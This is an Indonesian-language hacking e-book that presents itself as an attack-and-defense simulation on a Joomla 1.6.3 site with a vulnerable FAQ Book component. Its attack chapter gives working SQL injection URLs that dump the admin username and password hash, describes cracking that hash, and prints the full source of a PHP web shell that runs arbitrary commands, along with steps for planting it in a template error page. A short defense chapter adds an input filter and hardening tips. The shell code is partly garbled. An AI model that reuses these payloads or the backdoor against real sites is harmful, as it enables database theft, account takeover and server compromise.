SIMULASI ATTACK&DEFENSE Simulasi cara hacking beserta cara defense nya 6/15/2011 Exploit-ID – IndonesianCoder - KebumenCyberCrew r3m1ck kuzmanovic
Pendahuluan Hacking dan Defense nya merupakan e-book resmi kedua saya setelah yang pertama berjudul “Securing Your WordPress (Indonesian Version)” . Pada e-book kali ini saya akan menjelaskan bagamaina attacker masuk ke web anda. Disini sebagai contoh saya menggunakan CMS Opensource Joomla 1.6.3 dan sebagai simulasi untuk hackingnya saya memasang sebuah componnent yang vuln . Bercerita sedikit mengenai CMS Joomla, CMS ini di Indonesia khususnya banyak digunakan untuk instansi – instansi pemerintahan, seperti Indonesia.go.id dll, bahkan situs seperti indonesia.go.id pun pernah disusupi oleh attacker, menurut sejarah yang saya ketahui ada 3 attacker yang pernah menyusup, namun kini celah tersebut telah dihapus dan untuk login administratornya telah dibatasi untuk IP Address tertentu. Ok back to topic CMS yang akan kita pakai untuk simulasi adalah Joomla 1.6.3 merupakan versi terbaru dari CMS Joomla. Sebelumnya saya menghimbau bahwa e -book ini hanya untuk pembelajaran saja, jika ada hal – hal yang disalahgunakan setelah membaca e-book ini penulis tidak bertanggung jawab .
http://r3m1ck.us << Visit me :D
BAB 1 TEHNIK ATTACKING Untuk melakukan simulasi ini anda bisa mencoba di localhost atau di webserver anda. Untuk simulasi yang akan saya jelaskan ini saya membuat sebuah web ber CMS Joomla 1.6.3 yang saya install pada web server saya dan dengan domain gratis dari dot.tk . Step pertama ini akan saya jelaskan dari pertama cara install CMS Joomla tersebut. 1. Login ke Cpanel anda, kemudian install CMS Joomla menggunakan installer yang sudah disediakan oleh pihak hosting semacam fantastico atau softaculous
2. Saya menggunakan Softaculous untuk menginstall CMS Joomla versi 1.6.3
http://r3m1ck.us << Visit me :D
Berikut adalah settingan untuk menginstall CMS Joomla 1.6.3
Gambar diatas merupakan settingan untuk menginstal CMS Joomla dengan alamat di korban-hack.tk. 3. Setelah CMS Joomla 1.6.3 terinstall langkah berikutnya adalah memasang component yang vuln. Disini saya menggunakan Joomla Component Minitek FAQ Book. Anda dapat mengunduh component ini disitus resmi Joomla Component
http://r3m1ck.us << Visit me :D
Minitek FAQ Book http://www.minitek.gr/extensions/joomla-16/joomla-16-freeextensions/item/33-faq-book.html Atau pada mirror yg telah saya sediakan , http://r3m1ck.us/files/0th3r/com_faqbook_1_3.zip Untuk memasang component anda dapat menuju halaman admin terlebih dahulu untuk login, halaman admin joomla ada di namasitus/administrator ,
Setelah login maka tampilan pertama dashboard anda seperti gambar di bawah ini,
http://r3m1ck.us << Visit me :D
Untuk memasang component anda bisa membuka menu “Extension Manager” ,maka tampilannya akan semacam ini,
http://r3m1ck.us << Visit me :D
Pada bagian upload package file anda pilih dimana lokasi anda telah mengunduh component Joomla Component Minitek FAQ Book, selanjutnya adalah menekan tombol “Upload&Install” untuk memasang component tersebut. 4. Setelah memasang component yang vuln kita akan membuat beberapa kontent untuk component tersebut, yang kita pakai disini adalah Joomla Component Minitek FAQ Book maka kita akan mengisi beberapa FAQ, dan memasang ke menu utama. Masuk ke menu component Joomla Component Minitek FAQ Book
Kita akan mengisikan kontent dibagianCategories dan FAQs, Buatlah kategori baru di bagian categories
http://r3m1ck.us << Visit me :D
Title dapat diisi sesuai keinginan anda, setelah selesai tekan tombol Save & Close , Kemudian kita akan mengisi di bagian FAQs, Tekan tombol new pada halaman FAQs,
http://r3m1ck.us << Visit me :D
Kemudian Save Faqs tersebut, Langkah berikutnya adalah memasang Joomla Component Minitek FAQ Book di bagian menu agar di halaman depan Joomla tersebut tampak. Pilih “Menus” kemudian pada “Main Menu” pilih “Add menu item menu”
http://r3m1ck.us << Visit me :D
Halaman awal joomla dengan menu FAQs
http://r3m1ck.us << Visit me :D
5. Tehnik penyerangan, di sini component Joomla Component Minitek FAQ Book mempunyai celah SQL injection, ok mari kita cek , vuln nya ada pada bagian category id nya, http://korban-hack.tk/index.php/faqs-attack?view=category&id=7 mari kita cek dengan menambahkan karakter ‘ setelah id nya http://korban-hack.tk/index.php/faqs-attack?view=category&id=7' muncul pesan eror
Warning: Invalid argument supplied for foreach() in/home/korbanha/public_html/components/com_faqbook/views/categor y/tmpl/default.php on line 221
Ini menandakan bahwa Joomla Component Minitek FAQ Book vuln pada SQL injection, Mari kita cari berapa jumlah kolomnya dengan perintah order+by http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/1-belum menampakan eror http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/2-belum nampak eror http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/10--
http://r3m1ck.us << Visit me :D
belum tampak juga http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/30-tampak eror http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/26-eror hilang http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/Order/**/by/**/27-eror nampak berarti jumlah kolom nya adalah 26 , mari kita cari magic number menggunakan perintah union+select
http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/uNion/**/sEleCt/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20,21,22,23,24,25,26--
http://r3m1ck.us << Visit me :D
Yang muncul adalah angka 9 , dikarenakan joomla sendiri mempunyai sebuah struktur database yang sudah pasti maka kita bisa langsung mengimplementasikan perintah untuk melihat username dan password nya yang di ambil dari table jos_users http://korban-hack.tk/index.php/faqsattack?view=category&id=7/**/uNion/**/sEleCt/**/1,2,3,4,5,6,7,8,concat_ws(0x3a, username,password),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6/**/from/**/jos_users --
Muncul username dan password yang masih terenkripsi menggunakan md5 joomla admin:d9dd0cd98ee668dd862f77811b046532:js3usqrwc4xcwxdmdh52xqfwt0hvlqlv
http://r3m1ck.us << Visit me :D
6. Langkah berikutnya adalah mencoba cracking pada password joomla yang masih terenkripsi oleh md5 joomla tersebut, ada beberapa cara antara lain dengan cara mencoba tool cracking online, http://r3m1ck.us/t00ls/joomlapass/
Mari kita coba masukan password yang terenkripsi tadi di tool online tersebut, d9dd0cd98ee668dd862f77811b046532:js3usqrwc4xcwxdmdh52xqfwt0hvlqlv Setelah crack selesai maka akan muncul hasil dari enkripsi password tersebut
http://r3m1ck.us << Visit me :D
Yap , password ber enkripsi md5 tersebut telah berhasil di decrypt dan menghasilkan plain text ){Dhx9ET[PuUv+z$53 Mari kita coba masuk ke dalam login administratornya, dengan username : admin dan Password : ){Dhx9ET[PuUv+z$53 , dan ternyata bisa masuk :D 7. Langkah berikutnya adalah mencoba membuat backdoor atau phpshell ke dalam server host web joomla tersebut.
Setelah masuk ke halaman Template Manager, pilih tab bagian Templates, Akan muncul beberapa theme standar dari joomla, cari theme yang tidak digunakan, jika sudah buka detail dari theme tersebut,
Tekan tombol “Edit error page template”
http://r3m1ck.us << Visit me :D
Lalu pastekan kode phpshell atau backdoor anda menggantikan kode yang ada di situ,
Contoh kode phpshell / backdoor standar
r3m1ck SimPLe SHeLL <style type="text/css"> "January","February","March","April","May","June","July","August", "September","October","November","December"); $tgl=date("d"); $bln=date("n"); $hr=date("w"); $thn=date("Y"); //echo("Tanggal hari ini: "); echo("
$hari[$hr], $tgl $bulan[$bln] $thn |
"); print "<style>body{font-family:trebuchet ms;font-size:12px; color:red;}hr{width:100%;height:2px;}"; print "
"; $currentWD = str_replace("\\\\","\\",$_POST['_cwd']); $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); $UName = `uname -a`; $SCWD = `pwd`; http://r3m1ck.us << Visit me :D
$UserID = `id`; if( $currentWD == "" ) { $currentWD = $SCWD; } print "
"; print "We are | : | ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].") |
"; print "Server is | : | ".$_SERVER['SERVER_SIGNATURE']." |
"; print "System type | : | $UName |
"; print "Permissions | : | $UserID |
"; print "
"; print "
"; if( $_POST['_act'] == "List files!" ) { $currentCMD = "ls -al"; } print "
"; $currentCMD = str_replace("\\\"","\"",$currentCMD); $currentCMD = str_replace("\\\'","\'",$currentCMD); if( $_POST['_act'] == "Upload!" ) { if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { print "
Error while uploading file!"; } else { print "
<pre>"; system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1"); print "File uploaded successfully!"; } } else { print "\n\n\n<pre>\n";
http://r3m1ck.us << Visit me :D
$currentCMD = "cd ".$currentWD.";".$currentCMD; system($currentCMD); print "\n\n\n\n
r3m1ck simple shell"; } exit; ?>
Setelah mempastekan code phpshell diatas dan telah men save nya , anda dapat mengakses phpshell/ backdoor tersebut di alamat , namasitus/templates/nama_template_nya/error.php Sekarang anda telah mempunyai akses untuk bermain-main di dalam server web joomla tersebut, terserah anda ingin melakukan apa .
http://r3m1ck.us << Visit me :D
BAB 2 TEHNIK DEFENSE and PATCHING
Setelah kita mengetahui tehnik penyerangan pada bab sebelumnya, pada bab ini kita akan melakukan patching terhadap celah SQL injection pada component yang vuln tersebut. Langkah pertama yang harus kita lakukan adalah mengetahui dimana letak celah SQL injection tersebut dengan membaca pesan eror yang tampil ketika url id di tambahkan karakter ilegal seperti yang sudah di bahas di bab sebelumnya. Warning: Invalid argument supplied for foreach() in/home/korbanha/public_html/components/com_faqbook/views/categor y/tmpl/default.php on line 221 Dalam pesan eror tersebut dikatakan file default.php pada alamat components/com_faqbook/views/category/tmpl/ di baris ke 221, mari kita lihat ada apa di baris ke 221
Terdapat variable $subcategory yg mana merujuk pada id, mari kita telusuri lagi variable $subcategory, foreach ( $subcategories as $subcategory) { ?> ditemukan bawah $subcategory diambil dari $subcategories , mari kita cek $subcategories, $subcategories = $model->getSubCategories($this_catid); Dijelaskan bahwa $subcategories mengambil id dari variable $this_catid , mari kita lakukan patching terhadap vuln SQL injection ini Berikut adalah code untuk menutup celah SQL injection pada variabel tersebut yaitu dengan memberi filter agar ilegal karakter tidak dapat di inputkan
http://r3m1ck.us << Visit me :D
your Ip $ip, Has been logged !!!"; exit; } // logika filter jika id ditambah karakter ilegal if (!preg_match("/^[0-9]+$/", $this_catid)) { echo "What do you doing here ???
your Ip $ip, Has been logged !!!"; exit; } // logika filter jika id panjangnya lebih dari 3 karakter if (strlen($this_catid)>3){ echo "What do you doing here ???
your Ip $ip, Has been logged !!!"; exit; } //filter sqli end here ?>
Letakan code patching tersebut di dalam file default.php pada baris 56 atau diletakan sebelum variabel – variabel yang vuln tersebut di panggil. Contoh penempatan kode patching
http://r3m1ck.us << Visit me :D
// No direct access to this file defined('_JEXEC') or die('Restricted access'); // Show page title if ( $this->params->def( 'show_page_heading', 1 ) ) { if ( $this->params->def( 'page_heading' ) ) { echo '
' . $this->params->get('page_heading') . '
'; } else { echo '
' . $this->params->get('page_title') . '
'; } } // Get category id $this_catid = JRequest::getVar( 'id', '' ); // Get Itemid $itemid = JRequest::getVar( 'Itemid', '' ); // Get user id $user = &JFactory::getUser(); $user_id = $user->id; // Get Subcategories $model = &$this->getModel(); $subcategories = $model->getSubCategories($this_catid); $categoryname = $model->getCategoryName($this_catid); $token = JUtility::getToken(); JRequest::checkToken('request'); ?> <script type="text/javascript" src="components/com_faqbook/js/jquery1.6.min.js"> <script type="text/javascript" src="components/com_faqbook/js/jquery.scrollTo-1.4.2min.js"> <script type="text/javascript" src="components/com_faqbook/js/jquery.localscroll -1.2.7min.js"> params->get('subcategories_left_list_scroll')) { ?> <script type="text/javascript"> jQuery.noConflict(); jQuery(document).ready(function(){ jQuery.localScroll();
http://r3m1ck.us << Visit me :D
});
your Ip $ip, Has been logged !!!"; exit; } if (!preg_match("/^[0-9]+$/", $this_catid)) { echo "What do you doing here ???
your Ip $ip, Has been logged !!!"; exit; } if (strlen($this_catid)>3){ echo "What do you doing here ???
your Ip $ip, Has been logged !!!"; exit; } //filter sqli end here ?> params->get('subcategories_left_list')) { ?>
Diatas merupakan contoh peletakan patching, Setelah default.php di save maka kita akan cek apakah patch berjalan dengan semestinya?
http://r3m1ck.us << Visit me :D
Kita tambahkan ilegal karakter pada url joomla yang vuln http://korban-hack.tk/index.php/faqs-attack?view=category&id=7'
What do you doing here ??? your Ip 181.242.141.73, Has been logged !!! Yap patching telah berhasil. Beberapa saran untuk mencegah terjadinya attacking pada website joomla dan sejenisnya (WordPress dll) 1. Selalu update versi CMS anda 2. Cek sebelum memakai plugin/component/modul di situs penyedia informasi celah keamanan seperti http://www.exploit-id.com 3. Gunakanlah password yang sulit di crack/brute ,minimal 16 karakter dengan kombinasi huruf kapital,angka dan karakter 4. Untuk mencegah terjadinya upload backdoor dapat memberi permission 0444 pada folder template/theme 5. Nothing secure in this world :D
http://r3m1ck.us << Visit me :D
PENUTUP Semoga e-book ini berguna bagi anda yang ingin mendalami atau hanya ingin mengetahui attack dan defense yang mana disini hanya SQL injection beserta patch nya yang saya jelaskan, untuk e-book selanjutnya mungkin saya akan terangkan lebih lanjut beberapa jenis penyerangan dan cara pencegahannya. Sekian dari saya semoga berguna, gunakanlah ilmu sebaik mungkin :D
http://r3m1ck.us << Visit me :D
Best regard,
Remick kuzmanovic – Indonesian Coder | Exploit-ID Contact me [email protected] or [email protected]
Daftar Pustaka http://google.com/ Thanks To Allah SWT , Muhammad SAW, All My friends Indonesian Coder Team , Exploit-ID , Kebumen Cyber Crew, Indonesian Hacker Team, TIB 08 Underground Etc ... kaMtiEz,vYc0d,Hmei7,tukulesto,ibl13z,goc,jos_ali_joe,CaddyDz,k4pt3n,pokeng,nakula,kalong666,n4ck0,el farhat,hakz,anharku and all my friends.
http://r3m1ck.us << Visit me :D